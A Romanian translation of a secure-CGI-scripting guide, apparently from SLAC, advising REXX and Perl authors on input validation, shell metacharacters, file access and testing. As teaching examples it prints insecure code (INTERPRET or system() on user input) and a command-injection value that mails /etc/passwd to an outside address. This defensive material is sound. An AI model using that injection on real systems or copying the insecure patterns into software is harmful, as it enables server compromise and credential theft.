Scriind script-uri CGI mai securizate

Oricand un program precumun server WWW interactioneaza cu un browser WWW,exista posibilitatea ca un client sa atace programul ca sa obtina acces la server. Chiar si cel mai inocent script poate sa fie periculod pentri integritatea sistemului.

Avand in vedere acest lucru, as vrea sa va prezint cateva idei pentru a va asigura ca programul nu este atacat. Aceasta prezentare folosest exemple din REXX si Perl, oricum, principiile se aplica in toate limbajele.

La fel posibil sa vreti sa va uitati la Paul Phillips' CGI Security pentru informatii despre Perl, C si C++. Alta sursa de informare este munca regratatului Lincoln Stein's WWW intrebari despre securitate. Daca folositi Perl atunci trebuie sa luati in considerare folosirea Perl ca mecanism de verificare. Daca folositi script-uri petnru un server Windows NT atunci vedeti Somarsoft - Windows NT Probleme de securitate.

• Feriti-va de interpretarea limbajului de programare

  Limbaje precum REXX, interfata Bourne si Perl furnizeaza o comanda de interpretare sau echivalenta (e.g. eval in interfata Bourne) care va permite sa construiti un sir de caractere si interpretul sa execute acel sir de caractere . Asta poate fi foarte periculos. De exemplu, observati urmatoarele declaratii intr-un script REXX:
  INTERPRET TRANSLATE(GETENV('QUERY_STRING'),' ','+') sau ADDESS UNIX TRANSLATE(GETENV('QUERY_STRING'),' ','+'))

• Aceste fragmente de cod mici inteligente iau sirul de interogare si il transforma intr-o comanda care urmeaza sa fie executata de catre serverul Web. Din pacate, utilizatorul ar fi putut foarte usor sa puna o comanda sa sterge toate fisierele din sirul de interogare sau pentru a trimite o copie a fisierului parolei cuiva. Deci trebuie sa restrictioneze comanda sistemul ce permite sa execute ca raspuns la intrare.

   

• Daca trebuie sa executati un set de comenzi pe care a-ti putea dori sa le configurati intr-un tabel ce contine comenzile acceptabile, vedeti jos mai mult info.

   

• Nu te increde in client ca o sa faca ceva
  Un client ce se compoarta bine va scapa de orice caractere, care au o semnificatie speciala pentru interfata Bourne intr-un sir de interogare. De exemplu, acesta poate inlocui caractere speciale, cum ar fi un punct si virgula (;) sau semnul mai mare (>) cu "%XX" unde XX este cod ASCII pentru caracter in hexadecimal.
  Acest lucru ajuta pentru a evita problemele cu script-ul interpretand eronat caracterele atunci cand sunt utilizate pentru a construi argumentele unei comenzi care urmeaza sa fie executate (de exemplu, prin REXX ADDRESS UNIX command or the Perl system() command) in mediul serverului (de exemplu, interfata Bourne Unix).

  Un client rautacios poate folosi caractere speciale pentru a confunda script-ul tau si pentru a obtine acces neautorizat. De exemplu urmatoarea linie ar putea fi prezentata intr-un formular de tip email:
  system("/usr/lib/sendmail -t $form_address < $input_file");
  Problema consta in faptul ca sistemul porneste o subrutina; oricum, nu este nicio garantie ca $form_address variable nu poate fi manipulat de clienti rautaciosi. Considerati urmatoarea valoare pentru $form_address:
  "[email protected];mail [email protected] < /etc/passwd"
  In aest caz hotul a folosit virgula pentru a adauga o comanda ca sa primeasca parola pe email.

   

• Script-ul CGI ar trebui sa fie atent sa accepte numai subsetul de caractere care nu va confunda script-ul tau. Un nuamr de subset rezonabil ar fi [0-9] [a-z] [A-Z] -_./@ Orice alte caractere ar trebui sa fie tratate cu grija si sa fie respinse, in general. Acelasi lucru este valabil si pentru caracterele scapate dupa ce au fost Converte. S-ar putea sa vrei sa revizuiesti urmatoarele fragmente de cod REXX, sau petnru C si Perl. Cum sa scoti meta-caracterele din datele durnizate de utilizator in script-uri CGI, pentru a vedea cum verificam daca un sir contine doar caractere acceptabile.

   

• Aveti grija cu comenzile popen de sistem, ADDRESS UNIX etc.

  Regula de baza este ca nu ar trebui sa desparti o subrutina de script CGI daca trec date nesecurizate prin ea. In Perl poti sa desparti subrutine cu system command, comenzi cu lansare manuala (de exemplu `program $args`;), declaratia exec (pentru exeplu exec("program $args");), si deschizand o teava (de exemplu open(OUT, "|program $prog-args");). In REXX felul uzual sa desparti o subrutina este sa folosesti ADDRESS UNIX sau comenzi POPEN. Deci nu trebuie sa ajunga programe de neincredere in subrutina si in programele ce ruleaza extern cu argumente, verificati argumentele ca sa va asigurati ca nu contin meta-caractere.

  Se pare ca este posibil sa evitati rutina UNIX Bourne cu expansiune de meta-caractere (precum este piping (|), comenzi masuale (`), redirectionare (>, >>, <, etc.), comenzi multiple (;), sau extensii de nume (folosind *, ?, [], etc.)) punand parametrii pentru comanda UNIX in variabile de mediu. De exemplu in Uni-REXX poti sa inlocuiesti
  ADDRESS UNIX 'finger' username
  cu
  Fail=PUTENV("PARM1="username); ADDRESS UNIX 'finger "$PARM1"'
  Retineti ca nu am testat exhaustiv acest lucru pe mai multe platforme, si pot exista unele atacuri care vor invinge aceasta protectie.

   

• Unele versiuni de REXX (incluzand Uni-REXX) De asemenea va permit sa evitati extinderile de rutina prin utilizarea

• ADDRESS COMMAND 'finger' username
  in loc de
  ADDRESS UNIX 'finger' username.
  Daca ADDRESS COMMAND si evita taote rutinele, atunci trebuie folosita oricand este necesar si ar trebuie sa fie implicita prin plasarea unei ADDRESS COMMAND declaratii la inceput-ul script-ului.

  In cazul in care mecanismele de mai sus nu sunt disponibile, atunci asigurati-va ca pentru a plasa \ inainte de orice caractere, care au o semnificatie speciala pentru interfata Bourne inainte de a apela programul. Aceasta pote fi facutusor cu o simpla functie in C. Vedeti fragmente de cod in REXX si Perl pentru a realiza acest lucru.

• Este o buna practica sa permiti executarea de doar un set foarte limitat de comenzi de catre CGI. Acest set poate fi selectat dintr-un tabel de comenzi permise. Vedeti exemplu in REXX pentru cum poate fi realizat acest lucru. Acest mecanism este folosit in SLAC's CGI Security Wrapper.

   

• Dezactivati server-ul

  Daca serverul tau este ghininist si sa ajunge sa fie dezactivat, opriti directoarele ce ruleaza script-uri!!!. Serverul poate fi abuzat de catre clientii care vaneaza script-uri de iesire ce le-au fost trimise.

   

•  
• Restrictionati accesul la fisiere
• Asigurati-va ca orice continut de fisiere pe care le afisati este adecvat. De exemplu, daca un script primeste cerere de la URL sa afiseze un anumit fisier, script-ul ar trebuie sa verifice (e.g. lista httpd si configuratie ei) ca fisierul poate fi vizualizat pe WWW.
  Evitati sa permiteti clientului sa acceseze fisierele de mai sus prin lantul de directoare pentru blocarea utilizarii .. in numele fisierului.

  Evitati serverul sa interpreteze gresit un nume de fisier pentru optiuni (care ar putea duce la agatarea procesul in asteptarea standard-ului de intrare, deoarece nici un nume de fisier nu este gasit) prin verificarea faptului ca numele de fisier nu incepe cu semnul minus (-).

   

• Restrictionarea distribuirii de informatie

• Adresa IP a clientului este disponibila in script-ul CGI in variabila de mediu REMOTE_ADDR. Acest lucru poate fi utilizat de script pentru a refuza solicitarea daca adresa IP a clientului nu se potriveste cu unele cerinte.

   

• Testati script-ul inainte ca serverul WWW sa-l execute

• Este foarte usor pentru un script netestat sa provoace probleme pe server. De exemplu daca, accidental, scriptul cere introducere de la consola e.g. executand comanda REXX PULLcu nimic pe stiva, sau executand o comanda REXX TRACE ?R. Aceasta face ca procesul dupa server sa se opreasca. Sau script-ul o sa mearga intr-o bucla infinita,
  sau da nastere in mod continuu a noi procese si epuizeaza toate sloturile de proces ale serverului.

  Poti testa script-ul in Unix fara sa fie nevoie sa fie executat de un server WWW, folosind comanda in Unix setenv ca sa setezi variabilele de mediu necesare,
  Apoi ruleaza script-ul si ce rezulta pune in fisier. Dupa, foloseste un browser WWW ca sa vezi fisierul local ce tocmai a fost facut.

  La SLAC am pus si un server de test WWW la adresa http://www.slac.stanford.edu:5080/ care ar trebuie sa fie folosit pentru testarea script-urilor CGI inainte sa fie puse pe serverul de productie.

   

• Pune un comentariu in partea de sus a script-ul recomandand ca oricine modifica script-ul trebuie sa fie constient de faptul ca script-urile CGI au riscuri de securitate si sa citeasca mai intai acest document (http://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-security.html).
• Nu expuneti script-ul daca nu este necesar

• Daca este posibil, setati controlul accesului la script astfel incat acesta este executabil de catre serverul WWW, dar nu citibil din afara. De exemplu:

  • nu salvati fisierul in public_html sau orice bucata din fisier care este vizibil pe web (e.g. la SLAC nu il pune sub /afs/slac/www/);
  • daca este sub AFS, atunci Access Control Lists (ACL) ar trebui taiat accesul celui ce il tine, precum si accesul WWW.
  
  Acest lucru va reduce posibilitatea unui hot sa revizuie script-ul tau pentru a descoperi vulnerabilitati.

  De asemenea, nu uitati sa stergeti orice copie de rezerva / veche, ce pot fi create in mod automat de catre un editor, cum ar fi emacs si care pot fi vizibile si executabile de catre server. O modalitate de a evita crearea de copii de rezerva in directorul pe care serverul va executa comanda este de a mentine si edita script-ul real intr-un alt director si plasati un link simbolic 

•  

• Script-ul in directorul serverului de unde o sa-l ruleze.

   

• Feriti-va de fisierele inscriptibile

  Unele script-uri vor sa citeasca si sa modifice un fisier (e.g. ca sa tina evidenta de cate ori a rulat scrip-ul).
  Daca acest fisier este inscriptibil, atunci trebuie sa fie luate inainte de a utiliza rezultatele in fisier, pentru a asigura continutul fisierului ca nu au fost corupt cu rea intentie.

Aceasta pagina a evoluat cu ajutorul informatiilor puse la dispozitie de catre Rob McCool [email protected]. De asemenea, am primit multe informatii folositoare de la  John [email protected].